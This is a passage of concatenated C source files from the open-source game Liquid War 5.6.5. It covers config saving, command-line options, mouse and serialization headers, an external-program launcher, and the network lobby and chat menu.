LABEL_LEVEL_BG, CONFIG_LEVEL_BG); set_config_int (LABEL_MAIN, LABEL_FIGHTER_NUMBER, CONFIG_FIGHTER_NUMBER); for (i = 0; i < 6; ++i) { number_string[0] = '0' + i; set_config_int (LABEL_KEY_UP, number_string, CONFIG_KEY_UP[i]); set_config_int (LABEL_KEY_LEFT, number_string, CONFIG_KEY_LEFT[i]); set_config_int (LABEL_KEY_DOWN, number_string, CONFIG_KEY_DOWN[i]); set_config_int (LABEL_KEY_RIGHT, number_string, CONFIG_KEY_RIGHT[i]); set_config_int (LABEL_TEAM_COLOR, number_string, CONFIG_TEAM_COLOR[i]); set_config_int (LABEL_CONTROL_TYPE, number_string, CONFIG_CONTROL_TYPE[i]); set_config_string (LABEL_PLAYER_NAME, number_string, CONFIG_PLAYER_NAME[i]); } set_config_int (LABEL_MAIN, LABEL_GAME_TIME, CONFIG_GAME_TIME); set_config_int (LABEL_MAIN, LABEL_INFO_BAR, CONFIG_INFO_BAR); set_config_int (LABEL_MAIN, LABEL_MOUSE_GAP, CONFIG_MOUSE_GAP); set_config_int (LABEL_MAIN, LABEL_JOYSTICK_ON, CONFIG_JOYSTICK_ON); set_config_int (LABEL_MAIN, LABEL_CPU_ADVANTAGE, CONFIG_CPU_ADVANTAGE); set_config_int (LABEL_MAIN, LABEL_CPU_VS_HUMAN, CONFIG_CPU_VS_HUMAN); set_config_int (LABEL_MAIN, LABEL_PAGE_FLIP, CONFIG_PAGE_FLIP); set_config_int (LABEL_MAIN, LABEL_LANGUAGE, CONFIG_LANGUAGE); set_config_int (LABEL_MAIN, LABEL_WAVE_ON, CONFIG_WAVE_ON); set_config_int (LABEL_MAIN, LABEL_FRAMES_PER_SEC_LIMIT, CONFIG_FRAMES_PER_SEC_LIMIT); set_config_int (LABEL_MAIN, LABEL_ROUNDS_PER_SEC_LIMIT, CONFIG_ROUNDS_PER_SEC_LIMIT); set_config_string (LABEL_MAIN, LABEL_SERVER_ADDRESS, CONFIG_SERVER_ADDRESS); set_config_int (LABEL_MAIN, LABEL_SERVER_PORT, CONFIG_SERVER_PORT); set_config_int (LABEL_MAIN, LABEL_ASM_ALGORITHM, CONFIG_ASM_ALGORITHM); set_config_string (LABEL_MAIN, LABEL_PASSWORD, CONFIG_PASSWORD); set_config_int (LABEL_MAIN, LABEL_MIN_MAP_RES, CONFIG_MIN_MAP_RES); set_config_int (LABEL_MAIN, LABEL_USE_DEFAULT_TEXTURE, CONFIG_USE_DEFAULT_TEXTURE); set_config_int (LABEL_MAIN, LABEL_ALLOW_NETWORK_BOTS, CONFIG_ALLOW_NETWORK_BOTS); set_config_int (LABEL_MAIN, LABEL_LW6_ADVERTISING_SKIP, CONFIG_LW6_ADVERTISING_SKIP); set_config_int (LABEL_MAIN, LABEL_LW6_ADVERTISING_DONE, CONFIG_LW6_ADVERTISING_DONE); return 0; } /*------------------------------------------------------------------*/ void check_config_range (void) { if (CONFIG_LEVEL_MAP > RAW_MAP_NUMBER - 1) CONFIG_LEVEL_MAP = (RAW_MAP_NUMBER - 1) / 2; if (CONFIG_LEVEL_FG > RAW_TEXTURE_NUMBER + CHOOSE_COLOR_NUMBER - 1) CONFIG_LEVEL_FG = CHOOSE_COLOR_WHITE; if (CONFIG_LEVEL_BG > RAW_TEXTURE_NUMBER + CHOOSE_COLOR_NUMBER - 1) CONFIG_LEVEL_BG = CHOOSE_COLOR_BLACK; lw_netconf_check (&LW_CONFIG_CURRENT_RULES); } /*------------------------------------------------------------------*/ void lw_config_set_current_rules_to_default (void) { LW_NETCONF *config; config = &LW_CONFIG_CURRENT_RULES; config->cursor_increase_speed = CONFIG_CURSOR_INCREASE_SPEED; config->fighter_attack = CONFIG_FIGHTER_ATTACK; config->fighter_defense = CONFIG_FIGHTER_DEFENSE; config->fighter_new_health = CONFIG_FIGHTER_NEW_HEALTH; config->number_influence = CONFIG_NUMBER_INFLUENCE; config->fighter_number = CONFIG_FIGHTER_NUMBER; config->game_time = CONFIG_GAME_TIME; config->cpu_advantage = CONFIG_CPU_ADVANTAGE; config->cpu_vs_human = CONFIG_CPU_VS_HUMAN; config->asm_algorithm = CONFIG_ASM_ALGORITHM && STARTUP_ASM; config->min_map_res = CONFIG_MIN_MAP_RES; } liquidwar-5.6.5/src/basicopt.c0000664000372000037200000001513713407756104015707 0ustar travistravis/********************************************************************/ /* */ /* L I QQ U U I DD W W A RR 555 */ /* L I Q Q U U I D D W W A A R R 5 */ /* L I Q Q U U I D D W W W AAA RR 55 */ /* L I Q Q U U I D D WW WW A A R R 5 */ /* LLL I Q Q U I DD W W A A R R 55 */ /* */ /* b */ /* bb y y */ /* b b yyy */ /* bb y */ /* yy */ /* */ /* U U FFF O O TTT */ /* U U F O O O O T */ /* U U TIRET FF O O O O T */ /* U U F O O O O T */ /* U F O O T */ /* */ /********************************************************************/ /*****************************************************************************/ /* Liquid War is a multiplayer wargame */ /* Copyright (C) 1998-2018 Christian Mauduit */ /* */ /* This program is free software; you can redistribute it and/or modify */ /* it under the terms of the GNU General Public License as published by */ /* the Free Software Foundation; either version 2 of the License, or */ /* (at your option) any later version. */ /* */ /* This program is distributed in the hope that it will be useful, */ /* but WITHOUT ANY WARRANTY; without even the implied warranty of */ /* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the */ /* GNU General Public License for more details. */ /* */ /* You should have received a copy of the GNU General Public License */ /* along with this program; if not, write to the Free Software */ /* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ /* */ /* Liquid War homepage : https://ufoot.org/liquidwar/v5 */ /* Contact author : ufoot@ufoot.org */ /*****************************************************************************/ /********************************************************************/ /* name : basicopt.c */ /* content : handles basic options */ /* last update : April 18th 2001 */ /********************************************************************/ /*==================================================================*/ /* includes */ /*==================================================================*/ #include #include #include "base.h" #include "basicopt.h" #include "log.h" #include "parser.h" #include "sockgen.h" /*==================================================================*/ /* variables globales */ /*==================================================================*/ /*==================================================================*/ /* fonctions */ /*==================================================================*/ /*------------------------------------------------------------------*/ int lw_basicopt_process (char *name) { int result = 1; /* * "-v" prints the version number */ if (exist_argument ("v") || exist_argument ("-version")) { result = 0; log_println_str (LW_VERSION); } /* * "-v" or "-h" gives a short description & copyright information */ if (exist_argument ("h") || exist_argument ("-help") || exist_argument ("?")) { result = 0; lw_basicopt_legal_info (name); log_println (); log_println_str ("Documentation is available in HTML, ascii text, PostScript, PDF... Read it 8-)"); } /* * "-netlog" forces the socket messages to be traced */ if (exist_argument ("netlog")) { LW_SOCK_LOG = 1; } /* * "-nobeep" disables the console beeps */ if (exist_argument ("nobeep")) { LW_LOG_BEEP = 0; } return result; } /*------------------------------------------------------------------*/ void lw_basicopt_legal_info (char *name) { log_println (); log_println_str (name); log_println (); log_println_str ("v" LW_VERSION " compiled on " __DATE__ " at " __TIME__); log_println_str ("Copyright (C) 1998-2018 Christian Mauduit"); log_println (); log_println_str ("This program is free software; you can redistribute it and/or modify"); log_println_str ("it under the terms of the GNU General Public License as published by"); log_println_str ("the Free Software Foundation; either version 2 of the License, or"); log_println_str ("(at your option) any later version."); log_println (); log_println_str ("This program is distributed in the hope that it will be useful,"); log_println_str ("but WITHOUT ANY WARRANTY; without even the implied warranty of"); log_println_str ("MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the"); log_println_str ("GNU General Public License for more details."); log_println (); log_println_str ("You should have received a copy of the GNU General Public License"); log_println_str ("along with this program; if not, write to the Free Software"); log_println_str ("Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA"); log_println (); log_println_str ("Liquid War homepage : https://ufoot.org/liquidwar/v5"); log_println_str ("Contact author : ufoot@ufoot.org"); } liquidwar-5.6.5/src/mouse.h0000664000372000037200000001115713407756104015236 0ustar travistravis/********************************************************************/ /* */ /* L I QQ U U I DD W W A RR 555 */ /* L I Q Q U U I D D W W A A R R 5 */ /* L I Q Q U U I D D W W W AAA RR 55 */ /* L I Q Q U U I D D WW WW A A R R 5 */ /* LLL I Q Q U I DD W W A A R R 55 */ /* */ /* b */ /* bb y y */ /* b b yyy */ /* bb y */ /* yy */ /* */ /* U U FFF O O TTT */ /* U U F O O O O T */ /* U U TIRET FF O O O O T */ /* U U F O O O O T */ /* U F O O T */ /* */ /********************************************************************/ /*****************************************************************************/ /* Liquid War is a multiplayer wargame */ /* Copyright (C) 1998-2018 Christian Mauduit */ /* */ /* This program is free software; you can redistribute it and/or modify */ /* it under the terms of the GNU General Public License as published by */ /* the Free Software Foundation; either version 2 of the License, or */ /* (at your option) any later version. */ /* */ /* This program is distributed in the hope that it will be useful, */ /* but WITHOUT ANY WARRANTY; without even the implied warranty of */ /* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the */ /* GNU General Public License for more details. */ /* */ /* You should have received a copy of the GNU General Public License */ /* along with this program; if not, write to the Free Software */ /* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ /* */ /* Liquid War homepage : https://ufoot.org/liquidwar/v5 */ /* Contact author : ufoot@ufoot.org */ /*****************************************************************************/ /********************************************************************/ /* nom : mouse.h */ /* contenu : gestion de la souris */ /* date de modif : 3 mai 98 */ /********************************************************************/ #ifndef LIQUID_WAR_INCLUDE_MOUSE #define LIQUID_WAR_INCLUDE_MOUSE /*==================================================================*/ /* includes */ /*==================================================================*/ /*==================================================================*/ /* variables globales */ /*==================================================================*/ #define KEY_MOUSE_UP 124 #define KEY_MOUSE_RIGHT 125 #define KEY_MOUSE_DOWN 126 #define KEY_MOUSE_LEFT 127 extern int MOUSE_CONTROL_REF_X; extern int MOUSE_CONTROL_REF_Y; extern int MOUSE_CONTROL_UP; extern int MOUSE_CONTROL_RIGHT; extern int MOUSE_CONTROL_DOWN; extern int MOUSE_CONTROL_LEFT; /*==================================================================*/ /* fonctions globales */ /*==================================================================*/ void lw_mouse_update_control (void); void lw_mouse_reset_control (void); void lw_mouse_update_show_hide (void); void lw_mouse_show (void); void lw_mouse_hide (void); #endif liquidwar-5.6.5/src/basicopt.h0000664000372000037200000001035213407756104015706 0ustar travistravis/********************************************************************/ /* */ /* L I QQ U U I DD W W A RR 555 */ /* L I Q Q U U I D D W W A A R R 5 */ /* L I Q Q U U I D D W W W AAA RR 55 */ /* L I Q Q U U I D D WW WW A A R R 5 */ /* LLL I Q Q U I DD W W A A R R 55 */ /* */ /* b */ /* bb y y */ /* b b yyy */ /* bb y */ /* yy */ /* */ /* U U FFF O O TTT */ /* U U F O O O O T */ /* U U TIRET FF O O O O T */ /* U U F O O O O T */ /* U F O O T */ /* */ /********************************************************************/ /*****************************************************************************/ /* Liquid War is a multiplayer wargame */ /* Copyright (C) 1998-2018 Christian Mauduit */ /* */ /* This program is free software; you can redistribute it and/or modify */ /* it under the terms of the GNU General Public License as published by */ /* the Free Software Foundation; either version 2 of the License, or */ /* (at your option) any later version. */ /* */ /* This program is distributed in the hope that it will be useful, */ /* but WITHOUT ANY WARRANTY; without even the implied warranty of */ /* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the */ /* GNU General Public License for more details. */ /* */ /* You should have received a copy of the GNU General Public License */ /* along with this program; if not, write to the Free Software */ /* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ /* */ /* Liquid War homepage : https://ufoot.org/liquidwar/v5 */ /* Contact author : ufoot@ufoot.org */ /*****************************************************************************/ /********************************************************************/ /* name : basicopt.h */ /* content : handles basic options */ /* last update : April 18th 2001 */ /********************************************************************/ #ifndef LIQUID_WAR_INCLUDE_BASICOPT #define LIQUID_WAR_INCLUDE_BASICOPT /*==================================================================*/ /* includes */ /*==================================================================*/ /*==================================================================*/ /* variables globales */ /*==================================================================*/ /*==================================================================*/ /* fonctions */ /*==================================================================*/ int lw_basicopt_process (char *name); void lw_basicopt_legal_info (char *name); #endif liquidwar-5.6.5/src/serial.h0000664000372000037200000001124613407756104015364 0ustar travistravis/********************************************************************/ /* */ /* L I QQ U U I DD W W A RR 555 */ /* L I Q Q U U I D D W W A A R R 5 */ /* L I Q Q U U I D D W W W AAA RR 55 */ /* L I Q Q U U I D D WW WW A A R R 5 */ /* LLL I Q Q U I DD W W A A R R 55 */ /* */ /* b */ /* bb y y */ /* b b yyy */ /* bb y */ /* yy */ /* */ /* U U FFF O O TTT */ /* U U F O O O O T */ /* U U TIRET FF O O O O T */ /* U U F O O O O T */ /* U F O O T */ /* */ /********************************************************************/ /*****************************************************************************/ /* Liquid War is a multiplayer wargame */ /* Copyright (C) 1998-2018 Christian Mauduit */ /* */ /* This program is free software; you can redistribute it and/or modify */ /* it under the terms of the GNU General Public License as published by */ /* the Free Software Foundation; either version 2 of the License, or */ /* (at your option) any later version. */ /* */ /* This program is distributed in the hope that it will be useful, */ /* but WITHOUT ANY WARRANTY; without even the implied warranty of */ /* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the */ /* GNU General Public License for more details. */ /* */ /* You should have received a copy of the GNU General Public License */ /* along with this program; if not, write to the Free Software */ /* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ /* */ /* Liquid War homepage : https://ufoot.org/liquidwar/v5 */ /* Contact author : ufoot@ufoot.org */ /*****************************************************************************/ /********************************************************************/ /* name : serial.h */ /* content : routines used to (un)serialize values */ /********************************************************************/ #ifndef LIQUID_WAR_INCLUDE_SERIAL #define LIQUID_WAR_INCLUDE_SERIAL /*==================================================================*/ /* includes */ /*==================================================================*/ #include /*==================================================================*/ /* constants */ /*==================================================================*/ #define LW_MAP_SYSTEM_NAME_SIZE 16 #define LW_MAP_READABLE_NAME_SIZE 32 #define LW_TEXTURE_SYSTEM_NAME_SIZE 16 /*==================================================================*/ /* fonctions globales */ /*==================================================================*/ int lw_serial_get_int (void *raw); void lw_serial_set_int (void *raw, int i); short lw_serial_get_short (void *raw); void lw_serial_set_short (void *raw, int s); void lw_serial_get_map_header (void *raw_map, int *size, short *w, short *h); void lw_serial_set_map_header (void *raw_map, int size, short w, short h); void lw_serial_get_texture_header (void *raw_texture, short *w, short *h); void lw_serial_set_texture_header (void *raw_texture, short w, short h); #endif liquidwar-5.6.5/src/exec2.c0000664000372000037200000001227213407756104015106 0ustar travistravis/********************************************************************/ /* */ /* L I QQ U U I DD W W A RR 555 */ /* L I Q Q U U I D D W W A A R R 5 */ /* L I Q Q U U I D D W W W AAA RR 55 */ /* L I Q Q U U I D D WW WW A A R R 5 */ /* LLL I Q Q U I DD W W A A R R 55 */ /* */ /* b */ /* bb y y */ /* b b yyy */ /* bb y */ /* yy */ /* */ /* U U FFF O O TTT */ /* U U F O O O O T */ /* U U TIRET FF O O O O T */ /* U U F O O O O T */ /* U F O O T */ /* */ /********************************************************************/ /*****************************************************************************/ /* Liquid War is a multiplayer wargame */ /* Copyright (C) 1998-2018 Christian Mauduit */ /* */ /* This program is free software; you can redistribute it and/or modify */ /* it under the terms of the GNU General Public License as published by */ /* the Free Software Foundation; either version 2 of the License, or */ /* (at your option) any later version. */ /* */ /* This program is distributed in the hope that it will be useful, */ /* but WITHOUT ANY WARRANTY; without even the implied warranty of */ /* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the */ /* GNU General Public License for more details. */ /* */ /* You should have received a copy of the GNU General Public License */ /* along with this program; if not, write to the Free Software */ /* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ /* */ /* Liquid War homepage : https://ufoot.org/liquidwar/v5 */ /* Contact author : ufoot@ufoot.org */ /*****************************************************************************/ /********************************************************************/ /* name : random.c */ /* content : wrapper for the functions in ../utils/lwmpagen/ */ /********************************************************************/ /*==================================================================*/ /* includes */ /*==================================================================*/ #ifdef WIN32 #include #include #endif #include #include "exec2.h" /*------------------------------------------------------------------*/ /* * Launches an external program "a la" system(). Point is system() is * unuseable under Windows, for the console pops on the screen... */ int lw_exec2_run (char *file, char *commandline) { int result = 0; /* * Dummy code to get rid of warnings... */ file = file; commandline = commandline; #ifdef UNIX { int exit_code; exit_code = system (commandline); result = (exit_code == EXIT_SUCCESS); } #endif #ifdef WIN32 { STARTUPINFO startupinfo; PROCESS_INFORMATION process_information; memset (&startupinfo, 0, sizeof (STARTUPINFO)); memset (&process_information, 0, sizeof (PROCESS_INFORMATION)); startupinfo.cb = sizeof (STARTUPINFO); startupinfo.dwFlags = STARTF_USESHOWWINDOW; startupinfo.wShowWindow = SW_HIDE; result = CreateProcess (file, // lpApplicationName commandline, // lpCommandLine NULL, // lpProcessAttributes NULL, // lpThreadAttributes FALSE, // bInheritHandles CREATE_NO_WINDOW, // dwCreationFlags NULL, // lpEnvironment NULL, // lpCurrentDirectory &startupinfo, // lpStartupInfo &process_information // lpProcessInformation ); } #endif return result; } liquidwar-5.6.5/src/connect.c0000664000372000037200000004377713407756104015547 0ustar travistravis/********************************************************************/ /* */ /* L I QQ U U I DD W W A RR 555 */ /* L I Q Q U U I D D W W A A R R 5 */ /* L I Q Q U U I D D W W W AAA RR 55 */ /* L I Q Q U U I D D WW WW A A R R 5 */ /* LLL I Q Q U I DD W W A A R R 55 */ /* */ /* b */ /* bb y y */ /* b b yyy */ /* bb y */ /* yy */ /* */ /* U U FFF O O TTT */ /* U U F O O O O T */ /* U U TIRET FF O O O O T */ /* U U F O O O O T */ /* U F O O T */ /* */ /********************************************************************/ /*****************************************************************************/ /* Liquid War is a multiplayer wargame */ /* Copyright (C) 1998-2018 Christian Mauduit */ /* */ /* This program is free software; you can redistribute it and/or modify */ /* it under the terms of the GNU General Public License as published by */ /* the Free Software Foundation; either version 2 of the License, or */ /* (at your option) any later version. */ /* */ /* This program is distributed in the hope that it will be useful, */ /* but WITHOUT ANY WARRANTY; without even the implied warranty of */ /* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the */ /* GNU General Public License for more details. */ /* */ /* You should have received a copy of the GNU General Public License */ /* along with this program; if not, write to the Free Software */ /* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ /* */ /* Liquid War homepage : https://ufoot.org/liquidwar/v5 */ /* Contact author : ufoot@ufoot.org */ /*****************************************************************************/ /********************************************************************/ /* name : connect.c */ /* contenu : connect menu, the list of connected players */ /********************************************************************/ /*==================================================================*/ /* includes */ /*==================================================================*/ #include #include #include "back.h" #include "base.h" #include "config.h" #include "decal.h" #include "dialog.h" #include "help.h" #include "menu.h" #include "play.h" #include "disk.h" #include "protocol.h" #include "sockgen.h" #include "server.h" #include "network.h" #include "error.h" #include "internet.h" #include "connect.h" #include "lang.h" #include "mouse.h" #include "log.h" #include "thrdgen.h" #include "chat.h" #include "netmess.h" #include "sound.h" #include "macro.h" /*==================================================================*/ /* constants */ /*==================================================================*/ #define CONNECT_BUF_SIZE 200 /*==================================================================*/ /* structs */ /*==================================================================*/ typedef struct { int sock; LW_TEAMSTARTINFO team_start_info[NB_TEAMS]; int waited_teams; int start; int force_start; int thread_running; int result; int finished; char chat_buffer[LW_CHAT_MESSAGE_SIZE + 1]; LW_CHAT_HISTORY chat_history; int chat_send; } LW_CONNECT_DATA; LW_CONNECT_DATA GLOBAL_CONNECT_DATA; /*==================================================================*/ /* fonctions */ /*==================================================================*/ static void connect_on_server_keepalive (void *args); static int update_connect_menu (DIALOG * d, int waited_teams, LW_TEAMSTARTINFO * team_start_info, LW_CHAT_HISTORY * chat_history, int *connected_teams_prev); static void position_players_list (DIALOG * d); static void position_chat_history (DIALOG * d); /*------------------------------------------------------------------*/ int lw_connect_menu (int sock) { DIALOG d[12]; DIALOG_PLAYER *dp; int choix = 4, retour = 0; char buf_waited_teams[CONNECT_BUF_SIZE]; char buf_connected_players[NB_TEAMS * CONNECT_BUF_SIZE]; char buf_chat_history[LW_CHAT_HISTORY_SIZE * CONNECT_BUF_SIZE]; char buf_chat_message[LW_CHAT_MESSAGE_SIZE + 1]; int first_display = 1; int first_getinfo = 1; LW_CONNECT_DATA *data; int network_error = 0; int hide_start_button = 0; int connected_teams_prev = -1; memset (d, 0, sizeof (d)); buf_waited_teams[0] = '\0'; buf_connected_players[0] = '\0'; buf_chat_history[0] = '\0'; buf_chat_message[0] = '\0'; data = &GLOBAL_CONNECT_DATA; memset (data, 0, sizeof (LW_CONNECT_DATA)); data->sock = sock; data->waited_teams = NB_TEAMS; LW_NETWORK_ON = 1; while (retour == 0) { standard_button (d + 4, 1, 0, 2, 10); standard_button (d + 6, 1, 5, 2, 10); standard_button (d + 8, 1, 7, 2, 10); standard_button (d + 9, 1, 7, 2, 10); standard_button (d + 10, 1, 8, 2, 10); quick_buttons (d); d[4].proc = my_textbox_proc; d[5].proc = my_textbox_proc; d[7].proc = my_textbox_proc; d[8].proc = d_box_proc; d[9].proc = my_edit_proc; position_players_list (d + 5); position_chat_history (d + 7); d[4].w = d[7].w; d[8].w = d[7].w; d[9].w = d[7].w; d[9].x++; d[9].y++; d[9].w -= 2; d[9].h -= 2; d[4].dp = buf_waited_teams; d[5].dp = buf_connected_players; d[6].dp = lw_lang_string (LW_LANG_STRING_CONNECT_STARTNOW); d[7].dp = buf_chat_history; d[9].dp = buf_chat_message; d[9].d1 = LW_CHAT_MESSAGE_SIZE; d[9].flags = D_EXIT; d[10].dp = lw_lang_string (LW_LANG_STRING_CONNECT_SENDMESSAGE); if (hide_start_button) { /* * We disactivate these buttons. If we did not do it * it would lead to network errors if someone would * press them twice. */ d[6].proc = my_textbox_proc; d[6].dp = lw_lang_string (LW_LANG_STRING_CONNECT_WAITING); d[MENU_QUICK_PLAY].flags = D_HIDDEN; } d[11].proc = 0; if (first_display) { display_back_image (); first_display = 0; } dp = my_init_dialog (d, choix); while (my_update_dialog (dp) && !data->finished) { show_mouse (screen); if (!data->thread_running && !data->finished) { if (!first_getinfo) { if (data->result == 0) { network_error = 1; } else { update_connect_menu (d, data->waited_teams, data->team_start_info, &(data->chat_history), &connected_teams_prev); } } data->thread_running = 1; if (lw_thread_start (connect_on_server_keepalive, data)) { first_getinfo = 0; } else { data->thread_running = 0; } } rest (10); } choix = shutdown_dialog (dp); if (network_error) { error_network_problem (); lw_sock_close (&(data->sock)); retour = 1; } else { /* * If 0 teams are waited for, then the game must start, so * we simulate a key press on the "start" button. */ if (data->waited_teams == 0) { retour = MENU_OK; } else { switch (choix) { case -1: case MENU_QUICK_BACK: lw_sock_close (&(data->sock)); retour = 1; break; case MENU_QUICK_MAIN: lw_sock_close (&(data->sock)); retour = MENU_TOP; break; case MENU_QUICK_QUIT: lw_sock_close (&(data->sock)); if (confirm_quit ()) retour = MENU_EXIT; else display_back_image (); break; case MENU_QUICK_PLAY: /* * Pressing Play or Start has the same effect here * so there's no "break;" */ case 6: if (data->waited_teams > 0) { data->force_start = 1; hide_start_button = 1; display_back_image (); } break; case 9: case 10: if (strlen (d[9].dp) && !data->chat_send) { data->chat_send = 1; strncpy (data->chat_buffer, d[9].dp, LW_CHAT_MESSAGE_SIZE); data->chat_buffer[LW_CHAT_MESSAGE_SIZE] = '\0'; ((char *) (d[9].dp))[0] = '\0'; d[9].d2 = 0; d[9].proc (MSG_DRAW, d + 9, 0); } break; } } } } while (data->thread_running) { /* * Here, we wait until the thread is over, it shouldn't be very * long since we just wait for the server's answer */ rest (100); } if (retour > 0) retour--; return retour; } /*------------------------------------------------------------------*/ /* * Updates the fields of the menu */ static int update_connect_menu (DIALOG * d, int waited_teams, LW_TEAMSTARTINFO * team_start_info, LW_CHAT_HISTORY * chat_history, int *connected_teams_prev) { int result = 0; int i; char *sep; char buf[CONNECT_BUF_SIZE]; LW_CHAT_MESSAGE chat_mess; static int old_chat_length = 0; int chat_length; int l; int connected_teams = 0; LW_MACRO_SNPRINTF3 ((char *) d[4].dp, CONNECT_BUF_SIZE, "%s%d%s", lw_lang_string (LW_LANG_STRING_CONNECT_WAITINGFOR), waited_teams, lw_lang_string (LW_LANG_STRING_CONNECT_TEAMS)); ((char *) (d[5].dp))[0] = '\0'; for (i = 0; i < NB_TEAMS; ++i) { if (team_start_info[i].active) { if (team_start_info[i].start) { sep = "*"; } else { sep = "-"; } LW_MACRO_SPRINTF3 (buf, "%d %s %s\n", i + 1, sep, team_start_info[i].name); LW_MACRO_STRNCAT ((char *) d[5].dp, buf, NB_TEAMS * CONNECT_BUF_SIZE); connected_teams++; } } ((char *) (d[7].dp))[0] = '\0'; for (i = 0; lw_chat_get (chat_history, &chat_mess, i); ++i) { LW_MACRO_SPRINTF2 (buf, "%s: %s\n", chat_mess.author, chat_mess.content); LW_MACRO_STRNCAT ((char *) d[7].dp, buf, LW_CHAT_HISTORY_SIZE * CONNECT_BUF_SIZE); } /* * Now if the length of the string has changed, we * scroll to the end of the list. The "string length" * test is not 100% safe, but its purpose is just to * scroll through the list when a message is sent. * if it fails sometimes, it's not _that_ bad. */ chat_length = strlen (d[7].dp); if (chat_length != old_chat_length) { old_chat_length = chat_length; l = (d[7].h - 8) / text_height (font); d[7].d2 = MAX (0, d[7].d1 - l); } scare_mouse (); d[4].proc (MSG_DRAW, d + 4, 0); d[5].proc (MSG_DRAW, d + 5, 0); d[7].proc (MSG_DRAW, d + 7, 0); unscare_mouse (); show_mouse (screen); /* * If there are more teams connected than last times, we're likely * to announce it with a sound */ if (connected_teams > 0 && connected_teams > *connected_teams_prev) { /* * We check if this is not the first time * (*connected_teams_prev==-1) and in this case we play * nothing */ if ((*connected_teams_prev) >= 0) { play_connect (); } (*connected_teams_prev) = connected_teams; } else { /* * We updated the numner of connected teams, but take care * note to overwrite it if it's -1 */ if ((*connected_teams_prev) >= 0) { (*connected_teams_prev) = connected_teams; } } return result; } /*------------------------------------------------------------------*/ /* * Retrieves informations from the server once all players are * connected. Also displays information in a dialog box. */ static void connect_on_server_keepalive (void *arg) { int result = 1; int i; LW_CONNECT_DATA *data; data = (LW_CONNECT_DATA *) arg; if (!data->finished) { if (result == 1) { if (!lw_protocol_waiting (&data->sock, &(data->waited_teams))) { result = 0; } } if (result == 1) { if (data->waited_teams > 0) { /* * We are still waiting for teams */ for (i = 0; i < NB_TEAMS; ++i) { if (result == 1) { if (!lw_protocol_ask_teamstartinfo (&data->sock, i, & (data->team_start_info [i]))) { result = 0; } } } if (result == 1 && data->chat_send) { lw_netmess_cleanup_arg (data->chat_buffer); if (!lw_protocol_chat_talk (&data->sock, data->chat_buffer)) { result = 0; } data->chat_send = 0; } if (result == 1) { if (!lw_protocol_chat_listen (&data->sock, &(data->chat_history))) { result = 0; } } if (result == 1 && data->force_start) { if (!lw_protocol_force_start (&data->sock)) { result = 0; } /* * It's useless to keep on sending the START message, once is * just enough, let's save bandwidth! */ data->force_start = 0; } if (result == 1) { if (!lw_protocol_next (&data->sock)) { result = 0; } } } else { /* * No more teams waited, we say we're ready */ if (result == 1) { if (!lw_protocol_i_am_ready (&data->sock)) { result = 0; } data->finished = 1; } } } } data->result = result; data->thread_running = 0; } /*------------------------------------------------------------------*/ static void position_players_list (DIALOG * d) { d->x = (MENU_VIRTUAL_W + MENU_W_SPACE) / 2; d->y = (MENU_VIRTUAL_H - MENU_H_INTERNET_LIST) / 2 + MENU_H_STANDARD + MENU_H_SPACE; d->w = (MENU_W_STANDARD + MENU_W_INTERNET_LIST) / 2; d->h = 4 * MENU_H_STANDARD + 3 * MENU_H_SPACE; color_one_dialog (d); menu_real_coord (d); } /*------------------------------------------------------------------*/ static void position_chat_history (DIALOG * d) { d->x = (MENU_VIRTUAL_W - MENU_W_SPACE) / 2 - MENU_W_INTERNET_LIST; d->y = (MENU_VIRTUAL_H - MENU_H_INTERNET_LIST) / 2; d->w = MENU_W_INTERNET_LIST; d->h = MENU_H_INTERNET_LIST; color_one_dialog (d); menu_real_coord (d); d->key = 0; d->dp = ""; d->flags = D_EXIT; } liquidwar-5.6.5/src/time.c0000664000372000037200000001404413407756104015035 0ustar travistravis/********************************************************************/ /* */ /* L I QQ U U I DD W W A RR 555 */ /* L I Q Q U U I D D W W A A R R 5 */ /* L I Q Q U U I D D W W W AAA RR 55 */ /* L I Q Q U U I D D WW WW A A R R 5 */ /* LLL I Q Q U I DD W W A A R R 55 */ /* */ /* b */ /* bb y y */ /* b b yyy */ /* bb y */ /* yy */ /* */ /* U U FFF O O TTT */ /* U U F O O O O T */ /* U U TIRET FF O O O O T */ /* U U F O O O O T */ /* U F O O T */ /* */ /********************************************************************/ /*****************************************************************************/ /* Liquid War is a multiplayer wargame */ /* Copyright (C) 1998-2018 Christian Mauduit */ /* */ /* This program is free software; you can redistribute it and/or modify */ /* it under the terms of the GNU General Public License as published by */ /* the Free Software Foundation; either version 2 of the License, or */ /* (at your option) any later version. */ /* */ /* This program is distributed in the hope that it will be useful, */ /* but WITHOUT ANY WARRANTY; without even the implied warranty of */ /* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the */ /* GNU General Public License for more details. */ /* */ /* You should have received a copy of the GNU General Public License */ /* along with this program; if not, write to the Free Software */ /* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ /* */ /* Liquid War homepage : https://ufoot.org/liquidwar/v5 */ /* Contact author : ufoot@ufoot.org */ /*****************************************************************************/ /********************************************************************/ /* nom : time.c */ /* contenu : gestion du temps de jeu */ /* date de modif : 3 mai 98 */ /********************************************************************/ /*==================================================================*/ /* includes */ /*==================================================================*/ #include "code.h" #include "config.h" #include "sound.h" #include "ticker.h" #include "time.h" /*==================================================================*/ /* types */ /*==================================================================*/ /*==================================================================*/ /* variables globales */ /*==================================================================*/ static int TIME_TABLE[17] = { 15, 30, 45, 60, 90, 120, 150, 180, 240, 300, 360, 480, 600, 900, 1200, 1800, 3600 }; static int TICKER_PAUSED; static int TICKER_START; static int TICKER_PAUSE_START; static int BELL_RINGING; int 